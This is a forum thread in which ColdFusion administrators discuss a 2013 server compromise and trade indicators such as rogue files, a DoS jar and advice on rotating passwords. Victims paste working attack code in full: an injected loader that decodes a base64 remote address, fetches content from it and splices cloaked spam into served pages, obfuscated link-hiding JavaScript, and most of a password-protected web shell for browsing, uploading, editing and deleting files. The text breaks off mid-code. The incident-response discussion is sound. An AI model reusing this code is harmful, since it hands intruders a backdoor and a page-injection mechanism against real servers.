Copy link to clipboard
Copied
Yesterday some of our hosted sites were hacked using code pasted below. We're running CF 8.01 and I'm wondering if there is a cumulative secutity patch that we can apply or If I should just apply every security patch that I can find. I noticed that this particular vulnerability was patched for CF9 and 10 about six weeks ago.
Here's the hack:
<cfif (FindNoCase("Archivver",http_user_agent) EQ 0)><cfsavecontent variable="paga"><CFHTTP METHOD = "Get" URL = "http://#SERVER_NAME##SCRIPT_NAME#?#QUERY_STRING#" userAgent = "Archivver">
<cfset mmy = cfhttp.FileContent><cfoutput>
#mmy#
</cfoutput>
</cfsavecontent>
<CFHTTP METHOD = "Get" URL = "#hSWaawe('aHR0cDovLzE5OS4xOS45NC4xOTQvY2ZzZXQyLnR4dA==')#">
<cfset cfs = cfhttp.FileContent>
<cfif (FindNoCase("</div>",paga) GT 0)>
<cfset paga = replace(paga, "</div>", "</div>#cfs#", "one")>
<cfelseif (FindNoCase("</table>",paga) GT 0)>
<cfset paga = replace(paga, "</table>", "</table>#cfs#", "one")>
<cfelseif (FindNoCase("</a>",paga) GT 0)>
<cfset paga = replace(paga, "</a>", "</a>#cfs#", "one")>
<cfelse>
<cfset paga = replace(paga, "</body>", "#cfs#</body>", "one")>
</cfif>
<cfoutput>
#paga#
</cfoutput>
<cfabort>
</cfif>
<cffunction name="hSWaawe">
<cfargument name="HxzcGlk">
<cfset Ypg = ToString(ToBinary(HxzcGlk))>
<cfreturn Ypg>
</cffunction>
<html>
<head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.thehiltonorlando.com/">
</head>
<body>
<br>
<br>
<br>
<br>
<center>
<a href="http://www.thehiltonorlando.com/">This page has moved. Please click here if you are not automatically redirected in a moment...</a><script language="JavaScript">function zdrViewState()
{
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','9977918890','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
t=z='';
for(v=0;v<m.length;){t+=m.charAt(v++);
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}zdrViewState();
</script>
<p class="zdroq">
Most of the time, the borrower would <a href="http://www.paydayloans-online-uk.co.uk/" title="Payday">payday</a> be the one jeopardized. Applying to various payday loan sites could create suspicion to the lender <a href="http://payday-loans-fts.co.uk/" title="Payday Loans">payday loans</a> and this could make the approval process unnecessarily burdening. Having a checking account is also a <a href="http://best-rates-payday-loans.co.uk/" title="Http://best-rates-payday-loans.co.uk/">http://best-rates-payday-loans.co.uk/</a> must. They would also need this in order to withdraw money from your account when the payment is <a href="http://bad-credit-payday.co.uk/" title="Payday Loans Bad Credit">payday loans bad credit</a> due. In the long run, you would see that they have high interest rates that would be equivalent to wasting your <a href="http://payday-loans-eng.co.uk/" title="Payday Loans Uk">payday loans uk</a> money. </p>
</center>
</body>
</html>
Thanks in advance.
--Jeremy
Copy link to clipboard
Copied
9.0 - I had not run the patches. A past upgrarde on version 8 corrupted the server causing a frantic evening of repair and making me leery of other patches. RDS has always been disabled on this server.
According to the hotfix statement, all versions of ColdFusion seem to be susceptible, regardless of the latest fixes installed:
http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix-apsb13-03.html
One of the files left befind had a date of 12/25/2012, which is weeks before any security notices were posted. Looking at old versions of index files, the first recorded incident of the injection wasn't until 2/3/2013. This may coincide with running the CF Administrator as I needed to set up a new datasource, which I don't do all that often and didn't have need to login to the Admin for a while.
Copy link to clipboard
Copied
EclecticDan,
You should also be checking for the other files mentioned:
h.cfm, i.cfm, fusebox.com and adss.cfm
If you find any of these, check the date stamp and then look for anything with that date.
If you have any SQL database, change the passwords on those, as that was part of the exploit.
Copy link to clipboard
Copied
Thanks sduncanute. Already done. I posted because the corruption of the application.cfm was not mentioned anywhere in this thread and appears to be the cause of the damage for me (and probably the OP too).
I also found a trip.jar in the CFIDE folder that appears to be apart of the attack. Has anyone else encountered this?
Copy link to clipboard
Copied
I had the application.cfm changes as well, and it was the first thing that alerted me to the rest of the issues. I didn't have the trip.jar
I patched my system on the 16th of January, but the problem was the h.cfm was installed on Dec 25th before the patch. The fusebox and adss files along with the h.cfm meant that additional files could be added and files changed.
My only disappointment was that when the patch came out, there was nothing in there saying "look for these files", which would have alerted me to the fact we'd already been compromised.
Sue
Copy link to clipboard
Copied
EclecticDan - did you find out if the trip.jar file was part of the attack?
Copy link to clipboard
Copied
I can't be certain but I think it was. I've googled it and I cannot find any mention of trip.jar, legitimate or otherwise.
Copy link to clipboard
Copied
For me, it was a compressed file that extracts to ffmpegtheora, and 2 other mpeg related files. You deleted it? - thanks.
Copy link to clipboard
Copied
Not recognizing it and seeing that it had a modified date around the time of the attack, I quarantined it by changing its name, extention and location until I could be sure. It's time for a server upgrade anyway.
Copy link to clipboard
Copied
I thought you might be interested in what one of our hosts IT security guys discovered about Trip.jar:
"This Trip.jar file is a pretty basic Java based DOS application on layer 7. After decompiling the 6 .class files I read the Java coded there. You could directly compare this to the well-known “Low Orbit Ion Cannon” anonymous used to utilize heavily. It handles everything it needs from opening connections to accepting a list of URL’s to holding those connections open in order to denial of service a URL or site."
Just FYI...
Copy link to clipboard
Copied
Yikes. Thanks to the info.
Copy link to clipboard
Copied
so the conclusion is that trip.jar should also be deleted?
Copy link to clipboard
Copied
According to the quote posted by kdgitler, I would say trip.jar is an unfriendly file and should be deleted. I'd preffer to hear this from someone at Adobe though.
Copy link to clipboard
Copied
Hi all,
We're running CF 9 (patched up) multi-server on Windows Server 20008 R2. I've searched through our "JRun4\servers\server_instance\cfusion.ear\cfusion.war\CFIDE" directories, including the "adminapi" sub-directory, looking for the aforementioned files (adss.cfm, fusebox.cfm, h.cfm, i.cfm) and cannot seem to find anything.
I've also hit up the various Application.cfm files in the those CFIDE directories as well as the root CFIDE directory that's associated with the "cfusion" server instance. The Application.cfm files are encoded so how do I check to see if they have that modified code? Or would it simply overwrite the encoded version with the corrupted sample above?
Additionally, no luck on finding trip.jar.
Lastly, I've searched for that index.htm file and not found anything either. Yet, something has to be present because even though we built a brand new server and patched up before deploying and our source code is still showing the script block and text at the very bottom of the page.
Are there any other locations that I should be searching through specifically? Based on your experiences, where have you found the index.htm file?
Thank you in advance for any additional clarification you can provide!
Rick
Copy link to clipboard
Copied
Ok, I just found /cfide/updates.cfm but I don't know if this part of the problem or if it was something that's always been there, but the date on the file is more recent than any other file.
This is crazy scary. I've been following this thread since the beginning of the year I've been dealing with this for the past 6 months.
I couldn't find h.cfm or i.cfm or the other files mentioned.
Here's the code from updates.cfm
<p><html><br>
<body><br>
<!--- <br>
Created by S?bastien Denis - <br>
1.0 : 23-nov-2004<br>
1.1 : 03-fev-2005 - new action: synchronize<br>
============================================================================<br>
The FileManager can be use as a common file manager or as a CFMODULE use inside an application.<br>
============================================================================<br>
Depending of the action (fuseaction attributes), the other attributes are...<br>
FUSEACTION OTHER ATTRIBUTES<br>
============================================================================<br>
PASSWORD<br>
If password is required to access the module.<br>
Display a form to enter password.<br>
PASSWORDHASH<br>
Hash the password.<br>
HOME<br>
Display the file manager.<br>
PATH (default= current path)<br>
EDITEXTENSIONS (list of extensions to enable file edition)<br>
GETDIR (default = current folder)<br>
SEARCH<br>
Perform a search. <br>
Return a query GETDIR and a call to fuseaction = HOME with this query.<br>
SEARCHNAME (reg exp corresponding to file/folder name)<br>
SEARCHTEXT (reg exp corresponding to file content)<br>
RECURSIVE (optional recursive search: 0/1 - default = 0)<br>
MAXSEARCHRESULT (number of result: n - default = 1)<br>
EDIT<br>
Edit a file<br>
EDITEXTENSIONS (list of extension - show the EDIT button)<br>
(default = txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt)<br>
If "ALL", all files are editable<br>
PATH<br>
FILE<br>
WRITE<br>
Write the edited file<br>
PATH<br>
FILE<br>
FILENEWCONTENT<br>
UPLOAD PATH, NBROFUPLOAD (number of the maximum file to upload at once - default is 20) <br>
DOWNLOAD PATH, FILE<br>
ADDDIR PATH, DIRNEW<br>
ADDFILE PATH, FILENEW<br>
RENAMEFILE PATH, FILE, FILENEW<br>
RENAMEDIR PATH, DIR, DIRNEW<br>
COPYFILE PATH, FILE, PATHNEW (with the new file name)<br>
COPYDIR PATH, DIR, PATHNEW (with the new folder name)<br>
MOVEFILE PATH, FILE, PATHNEW (without the new file name) <br>
MOVEDIR PATH, DIR, PATHNEW (without the new folder name)<br>
DELETEFILE PATH, FILE<br>
DELETEDIR PATH, DIR<br>
DELETEDIRRECURSIVE PATH, DIR<br>
SYNCDIR PATH, PATHNEW (path; origin, pathNew: destination), OVERWRITEALL<br>
<br>
Other attributes:<br>
============================================================================<br>
thisModule the path to this module (cfmodule)<br>
default = listLast(cgi.script_name,"/\")<br>
relocate 0/1 (default 1, 0 in recursive call)<br>
CheckPassword default = ""<br>
To compare with H to allow access to module<br>
If no correspondance => fuseaction = password<br>
If checkPassword = "" => No access control.<br>
H The Hashed password always required if checkPassword neq "".<br>
PATHALLOWED The path beyond which the module cannot go.<br>
default = "" meaning no limits.<br>
STYLE 0/1 (default = 1) include basic style.<br>
---></p>
<p><cftry></p>
<p><CFAPPLICATION NAME="tripshell" SESSIONMANAGEMENT="Yes" SESSIONTIMEOUT="#CreateTimeSpan(0, 0, 20, 0)#"></p>
<p> <cfif (IsDefined("Session.tripshell") AND Session.tripshell EQ "ok") OR (IsDefined("form.code") AND form.code EQ "h4xz0r666")><br>
<b>Ok all good</b><br>
<cfset session.tripshell='ok'><br>
</p>
<p><!--- ************ Personal parameter *************** ---> <br>
<cfset attributes.editExtensions = "ALL"><br>
<!--- ************ Personal parameter *************** ---> </p>
<p><cfsetting requestTimeout = 1000><br>
<!--- formurl2attributes ---><br>
<cfparam name="attributes" default="#structNew()#"><br>
<cfset structAppend(attributes,form,"no")><br>
<cfset structAppend(attributes,url,"no")><br>
<!--- Default parameters ---><br>
<cfparam name="attributes.path" default="#expandPath(".")#"><br>
<cfparam name="attributes.fuseaction" default="home"><br>
<cfparam name="attributes.recursive" default="0"><br>
<cfparam name="attributes.showpath" default="0"><br>
<cfparam name="attributes.searchtext" default=""><br>
<cfparam name="attributes.searchname" default=""><br>
<cfparam name="attributes.maxsearchresult" default="1"><br>
<cfparam name="attributes.checkpassword" default=""><br>
<cfparam name="attributes.password" default=""><br>
<cfparam name="attributes.nbrOfUpload" default="20"><br>
<cfparam name="attributes.editExtensions" default="txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt"><br>
<cfparam name="attributes.relocate" default="1"><br>
<cfparam name="attributes.overwriteAll" default="0"><br>
<cfparam name="attributes.style" default="1"><br>
<cfparam name="attributes.pathAllowed" default=""><br>
<cfparam name="attributes.thisModule" default="#listLast(cgi.script_name,"/\")#"><br>
<cfparam name="attributes.h" default=""><br>
<!--- Find delimiter and set path ---><br>
<cfif find("/",cgi.CF_TEMPLATE_PATH)><br>
<cfset attributes.delimiter = "/"><br>
<cfelse><br>
<cfset attributes.delimiter = "\"><br>
</cfif><br>
<cfset attributes.path = reReplace(attributes.path,"\#attributes.delimiter#{2,}",attributes.delimiter,"ALL")><br>
<cfif right(attributes.path,1) eq attributes.delimiter and len(attributes.path) gt 1><br>
<cfset attributes.path = left(attributes.path,len(attributes.path)-1)><br>
</cfif><br>
<!--- UDF ---><br>
<cffunction name="loc"><br>
<cfargument name="qs"><br>
<cfargument name="relocate"><br>
<cfif relocate><br>
<cflocation url="?#qs#&path=#attributes.path#&h=#attributes.H#"><br>
</cfif><br>
</cffunction><br>
<!--- Password check ---><br>
<cfif attributes.fuseaction neq "passwordHash" and attributes.checkPassword neq ""><br>
<cfif isDefined("attributes.H")><br>
<cfif hash(attributes.checkpassword) neq attributes.H><br>
<cfset attributes.fuseaction = "password"><br>
</cfif><br>
<cfelse><br>
<cfset attributes.fuseaction = "password"><br>
</cfif><br>
</cfif><br>
<!--- Path check ---><br>
<cfif attributes.pathAllowed neq ""><br>
<cfif not findNoCase(attributes.pathAllowed,attributes.path)><br>
<cfset attributes.path = attributes.pathAllowed><br>
<cfset attributes.msg = "Error: cannot go beyond ""#attributes.pathAllowed#"""><br>
</cfif><br>
</cfif><br>
<!--- CSS Style ---><br>
<cfif attributes.style and attributes.relocate><br>
<style><br>
body,table,input{font:11px;font-family:verdana}<br>
button, .button{font:11px;font-family:verdana;width:50;text-align:center;border:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}<br>
</style><br>
</cfif><br>
<!--- Fusebox ---><br>
<cfswitch expression="#attributes.fuseaction#"></p>
<p> <cfcase value="password"><br>
<cfoutput><br>
<form action="?" method="post"><br>
<input type="hidden" name="fuseaction" value="passwordHash"><br>
Password: <input type="password" name="password"> <input type="submit" name="submit" value="Submit" class="button"><br>
</form><br>
</cfoutput><br>
</cfcase><br>
<br>
<cfcase value="passwordHash"><br>
<cfoutput><br>
<script>window.location.href="?h=#hash(attributes.password)#";</script><br>
</cfoutput><br>
</cfcase><br>
<br>
<cfcase value="home"><br>
<cfoutput><br>
<title>FileManager: #attributes.path#</title><br>
<script><br>
function addDir(){<br>
var sDirNew = prompt("Create folder in #JSStringFormat(attributes.path)#.\nFolder name:","");<br>
if (sDirNew != null && sDirNew != ""){<br>
window.location.href="?fuseaction=addDir&path=#JSStringFormat(attributes.path)#&dirNew=" + sDirNew + "&h=#attributes.h#";<br>
}<br>
}<br>
function addFile(){<br>
var sFileNew = prompt("Create file in #JSStringFormat(attributes.path)#.\nFile name:","");<br>
if (sFileNew != null && sFileNew != ""){<br>
window.location.href="?fuseaction=addFile&path=#JSStringFormat(attributes.path)#&fileNew=" + sFileNew + "&h=#attributes.h#";<br>
}<br>
}<br>
function renameFile(sFile){<br>
var sFileNew = prompt("New file name",sFile + "_copy");<br>
if (sFileNew != null && sFileNew != "" && sFileNew != sFile){<br>
window.location.href="?fuseaction=renamefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&fileNew=" + sFileNew + "&h=#attributes.h#";<br>
}<br>
}<br>
function renameDir(sDir){<br>
var sDirNew = prompt("New folder name",sDir + "_copy");<br>
if (sDirNew != null && sDirNew != "" && sDirNew != sDir){<br>
window.location.href="?fuseaction=renameDir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&dirNew=" + sDirNew + "&h=#attributes.h#";<br>
}<br>
} <br>
function copyFile(sFile){<br>
sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sFile;<br>
var sPathNew = prompt("Destination for \"" + sFile + "\".",sDefault);<br>
if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){<br>
window.location.href="?fuseaction=copyFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";<br>
}<br>
}<br>
function copyDir(sDir){<br>
sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sDir;<br>
var sPathNew = prompt("Destination for \"" + sDir + "\".\nProvide a UNEXISTANT path!",sDefault + "_copy");<br>
if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){<br>
window.location.href="?fuseaction=copydir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&pathNew=" + sPathNew + "&h=#attributes.h#";<br>
}<br>
}<br>
function moveFile(sFile){<br>
sDefault = "#JSStringFormat(attributes.path)#";<br>
var sPathNew = prompt("Move \"" + sFile + "\" to:",sDefault);<br>
if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){<br>
window.location.href="?fuseaction=moveFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";<br>
}<br>
}<br>
function moveDir(sDir){<br>
sDefault = "#JSStringFormat(attributes.path)#";<br>
var sPathNew = prompt("Move \"" + sDir + "\" to:",sDefault);<br>
if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){<br>
window.location.href="?fuseaction=moveDir&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&dir=" + sDir + "&h=#attributes.h#";<br>
}<br>
}<br>
function syncDir(sDir){<br>
sDefault = "#JSStringFormat(attributes.path)#" + "\\" + sDir;<br>
var sPathNew = prompt("Synchronize \"" + sDefault + "\" to:",sDefault);<br>
var bOverwriteAll = 0;<br>
if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){<br>
if (confirm("Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.")) bOverwriteAll = 1;<br>
window.location.href="?fuseaction=syncDir&path=" + sDefault + "&pathNew=" + sPathNew + "&overwriteall=" + bOverwriteAll + "&h=#attributes.h#";<br>
}<br>
}<br>
function deleteFile(sFile){<br>
if (confirm("Delete \"" + sFile + "\"?"))window.location.href="?fuseaction=deletefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&h=#attributes.h#";<br>
}<br>
function deleteDir(sDir){<br>
if (confirm("Delete \"" + sDir + "\"?"))window.location.href="?fuseaction=deletedir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&h=#attributes.h#";<br>
}<br>
function showNextUpload(n){<br>
document.getElementById("fileUpload" + n).style.display='';<br>
document.getElementById("submitUpload").style.display='';<br>
}<br>
</script><br>
<cfif isDefined("attributes.msg")><br>
<h4 style="color:#iif(findNoCase("error",attributes.msg),"'red'","'green'")#">#attributes.msg#</h4><br>
</cfif><br>
<cfif len(attributes.path) gt 1><br>
<cfset attributes.parentpath = listDeleteAt(attributes.path,listLen(attributes.path,attributes.delimiter),attributes.delimiter)><br>
<cfelse><br>
<cfset attributes.parentpath = ""><br>
</cfif><br>
<table style="border:1 solid black"><br>
<form action="?" method="post"><br>
<input type="hidden" name="h" value="#attributes.h#"><br>
<tr><br>
<td width="100">Parent:</td><br>
<td><a href="?path=#attributes.parentpath#&h=#attributes.h#">#attributes.parentpath#</a></td><br>
</tr><br>
<tr><br>
<td valign="top">Path:</td><br>
<td><br>
<input type="text" name="path" value="#attributes.path#" style="font-weight:bold" size="100"> <br>
<input type="submit" value="Submit" class="button"><br><br>
<button style="width:150" onclick="addDir()">Create a folder</button> <br>
<button style="width:150" onclick="addFile()">Create a file</button><br>
</td><br>
</tr><br>
</form><br>
<form action="?" method="post"><br>
<input type="hidden" name="h" value="#attributes.h#"><br>
<input type="hidden" name="fuseaction" value="search"><br>
<input type="hidden" name="path" value="#attributes.path#"><br>
<tr><br>
<td>Search:</td><br>
<td><span style="width:150">File/folder name (RE):</span><input type="text" name="searchname" size="70" value="#attributes.searchname#"></td><br>
</tr><br>
<tr><br>
<td> </td><br>
<td><span style="width:150">Containg text (RE):</span><input type="text" name="searchtext" size="70" value="#attributes.searchtext#"></td><br>
</tr><br>
<tr><br>
<td> </td><br>
<td><br>
Recursive <input type="checkbox" name="recursive" value="1" #iif(attributes.recursive,"'checked'","''")#> <br>
Max. result <select name="maxsearchresult"><br>
<option value="1" #iif(attributes.maxsearchresult eq 1,"'SELECTED'","''")#>1</option><br>
<option value="5" #iif(attributes.maxsearchresult eq 5,"'SELECTED'","''")#>5</option><br>
<option value="10" #iif(attributes.maxsearchresult eq 10,"'SELECTED'","''")#>10</option><br>
<option value="50" #iif(attributes.maxsearchresult eq 50,"'SELECTED'","''")#>50</option><br>
<option value="100" #iif(attributes.maxsearchresult eq 100,"'SELECTED'","''")#>100</option><br>
</select><br>
<input type="submit" value="Submit" class="button"></td><br>
</tr><br>
</form><br>
<form action="?" method="post" enctype="multipart/form-data"><br>
<input type="hidden" name="h" value="#attributes.h#"><br>
<input type="hidden" name="fuseaction" value="upload"><br>
<input type="hidden" name="path" value="#attributes.path#"><br>
<tr><br>
<td valign="top">Upload:</td><br>
<td><br>
<span style="width:20">1.</span><input type="File" name="file1" size="70" onchange="showNextUpload(2)"><br>
<input type="checkbox" name="overwrite1">Overwrite<br>
<cfloop index="i" from="2" to="#attributes.nbrOfUpload#"><br>
<div id="fileUpload#i#" style="display:'none'"><br>
<span style="width:20">#i#.</span><input type="File" name="file#i#" size="70" onchange="showNextUpload(#i+1#)"><br>
<input type="checkbox" name="overwrite#i#">Overwrite<br>
</div><br>
</cfloop><br>
<input type="submit" value="Upload" name="submitUpload" class="button" style="display:'none'"><br>
</td><br>
</tr><br>
</form><br>
</table><br>
</cfoutput><br>
<cfflush><br>
<cfif not isDefined("attributes.getDir")><br>
<cfdirectory action="LIST" directory="#attributes.path#" name="attributes.getDir"><br>
</cfif><br>
<br><br>
<table style="border:1 solid black"><br>
<tr bgcolor="#c0c0c0"><br>
<th> </th><br>
<cfset colspan = 1><br>
<cfif attributes.showpath><br>
<cfset colspan = 2><br>
<th>Path</th><br>
</cfif><br>
<th>Name</th><br>
<th>Actions</th><br>
<th>Size</th><br>
<th>Attr.</th><br>
<th>Modif. date</th><br>
</tr><br>
<cfoutput> <br>
<tr><br>
<td colspan="#colspan#"><hr size="1"></td><br>
<td align="center"><b>F o l d e r s</b></td><br>
<td colspan="10"><hr size="1"></td><br>
</tr><br>
</cfoutput><br>
<cfset i = 0><br>
<cfoutput query="attributes.getDir"><br>
<cfif type eq "dir" and name neq "." and name neq ".."><br>
<cfset i = i + 1><br>
<tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#"><br>
<td>#i#.</td><br>
<cfif attributes.showpath><br>
<td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td><br>
<td><a href="?path=#path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td><br>
<td><a onclick="window.location.href='?path=#JSStringFormat("#path##attributes.delimiter##name#&h=#attributes.h#")#'" class="button">Open</a></td><br>
<cfelse><br>
<td><a href="?path=#attributes.path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td><br>
<td><br>
<a onclick="window.location.href='?path=#JSStringFormat(attributes.path & attributes.delimiter)##name#&h=#attributes.h#'" class="button">Open</a><br>
<a onclick="renameDir('#name#')" class="button">Rename</a><br>
<a onclick="copyDir('#name#')" class="button">Copy</a><br>
<a onclick="moveDir('#name#')" class="button">Move</a><br>
<a onclick="deleteDir('#name#')" class="button" style="color:red">Delete</a><br>
<a onclick="syncDir('#name#')" class="button">Sync.</a><br>
</td><br>
</cfif><br>
<td> </td><br>
<td>#ATTRIBUTES# </td><br>
<td>#DATELASTMODIFIED#</td><br>
</tr><br>
</cfif><br>
</cfoutput> <br>
<cfoutput><br>
<tr><br>
<td colspan="#colspan#"><hr size="1"></td><br>
<td align="center"><b>F i l e s</b></td><br>
<td colspan="10"><hr size="1"></td><br>
</tr><br>
</cfoutput><br>
<cfoutput query="attributes.getDir"><br>
<cfif type eq "file"><br>
<cfset i = i + 1><br>
<tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#"><br>
<td>#i#.</td><br>
<cfif attributes.showpath><br>
<td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td><br>
<td><a href="?fuseaction=download&path=#path#&file=#name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td><br>
<cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))><br>
<td><br>
<a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a><br>
<a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a><br>
</td><br>
</cfif><br>
<cfelse><br>
<td><a href="?fuseaction=download&path=#attributes.path#&file=#name#&h=#attributes.h#" style="text-decoration:none">#name#</a></td><br>
<td><br>
<a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a><br>
<a onclick="renameFile('#name#')" class="button">Rename</a><br>
<a onclick="copyFile('#name#')" class="button">Copy</a><br>
<a onclick="moveFile('#name#')" class="button">Move</a><br>
<a onclick="deleteFile('#name#')" class="button" style="color:red">Delete</a><br>
<cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))><br>
<a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a><br>
</cfif><br>
<cfif Find("R",attributes)><br>
<a onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#name#&fileNew=#name#&h=#attributes.h#'" class="button">Rem RO</a> <br>
</cfif><br>
</td><br>
</cfif><br>
<td align="right">#numberFormat(size)# B</td><br>
<td>#ATTRIBUTES# </td><br>
<td>#DATELASTMODIFIED#</td><br>
</tr><br>
</cfif><br>
</cfoutput><br>
</table><br>
</cfcase><br>
<br>
<cfcase value="edit"><br>
<cfoutput><title>FileManager: #attributes.file#</title></cfoutput><br>
<cffile action="READ" file="#attributes.path##attributes.delimiter##attributes.file#" variable="filecontent"><br>
<cfdirectory action="LIST" directory="#attributes.path##attributes.delimiter#" filter="#attributes.file#" name="getFile"><br>
<cfif findNoCase("R",getFile.attributes[1])><br>
<cfoutput><br>
<div><br>
<span style="color:red;font-weight:bold">This file is READ-ONLY</span><br>
<button onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#attributes.file#&fileNew=#attributes.file#&after=edit&h=#attributes.h#'" style="width:150">Remove Read-Only</button> <br>
<button onclick="history.back()">Back</button><br>
</div><br>
<pre style="width:100%;height:95%;border:2 solid black">#htmlEditFormat(filecontent)#</pre><br>
</cfoutput><br>
<cfelse><br>
<cfoutput><br>
<form action="?" method="post"><br>
<input type="submit" value="Save Back" style="width:100" class="button"> <br>
<input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button"> <br>
<button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button><br>
Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#<br>
<input type="hidden" name="h" value="#attributes.h#"><br>
<input type="hidden" name="fuseaction" value="write"><br>
<input type="hidden" name="fuseactionNext" value="home"><br>
<input type="hidden" name="path" value="#attributes.path#"><br>
<input type="hidden" name="file" value="#attributes.file#"><br>
<textarea style="width:100%;height:95%" name="fileNewContent" style="font-size:11px">#htmlEditFormat(filecontent)#</textarea><br>
<div><br>
<input type="submit" value="Save Back" style="width:100" class="button"><br>
<input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button"> <br>
<button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button><br>
</div><br>
</form><br>
</cfoutput><br>
</cfif><br>
</cfcase><br>
<br>
<cfcase value="write"><br>
<cftry> <br>
<cffile action="DELETE" file="#attributes.path##attributes.delimiter##attributes.file#"><br>
<cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.file#" output="#attributes.fileNewContent#" addnewline="No"><br>
<cfoutput>#loc("fuseaction=#attributes.fuseactionNext#&file=#attributes.file#", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="upload"><br>
<cfset msg = "Upload Result:"><br>
<cfloop index="i" from="1" to="#attributes.nbrOfUpload#"><br>
<cfif form["file#i#"] neq ""><br>
<cftry><br>
<cffile action="UPLOAD"<br>
filefield="form.file#i#" <br>
destination="#attributes.path#"<br>
nameconflict="#iif(isDefined("attributes.overwrite#i#"),"'OVERWRITE'","'Error'")#"><br>
<cfset msg = "#msg#\n - File #i#: OK"><br>
<cfcatch><br>
<cfset msg = "#msg#\n - File #i#: ERROR"><br>
</cfcatch> <br>
</cftry><br>
</cfif><br>
</cfloop><br>
<cfoutput>#loc("", attributes.relocate)#</cfoutput><br>
</cfcase><br>
<br>
<cfcase value="download"><br>
<cfheader name="Content-disposition" value="attachment; filename=#attributes.file#"><br>
<cfcontent file="#attributes.path##attributes.delimiter##attributes.File#"><br>
</cfcase><br>
<br>
<cfcase value="deleteFile"><br>
<cftry><br>
<cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.file#"><br>
<cfoutput>#loc("msg=File deleted!", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("msg=Error: file not deleted!", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="deleteDir"><br>
<cftry><br>
<cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#"><br>
<cfoutput>#loc("msg=Folder deleted!", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("fuseaction=deletedirRecursiveConfirm&dir=#attributes.dir#", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="deleteDirRecursiveConfirm"><br>
<cfoutput><br>
<script><br>
if(confirm("Folder not deleted. It may contains files or folders.\nTry recursive delete?")) window.location.href="?fuseaction=deletedirRecursive&path=#jsStringFormat(attributes.path)#&dir=#jsStringFormat(attributes.dir)#&h=#attributes.h#";<br>
else window.location.href="?path=#jsStringFormat(attributes.path)#&h=#attributes.h#";<br>
</script><br>
</cfoutput><br>
</cfcase><br>
<br>
<cfcase value="deleteDirRecursive"><br>
<cfdirectory action="LIST" name="attributes.getDir" directory="#attributes.path##attributes.delimiter##attributes.dir#"><br>
<cfoutput><h3>#attributes.path##attributes.delimiter##attributes.dir#</h3></cfoutput><br>
<!--- Delete files ---><br>
<cfloop query="attributes.getDir"><br>
<cfif type eq "file"><br>
<cftry><br>
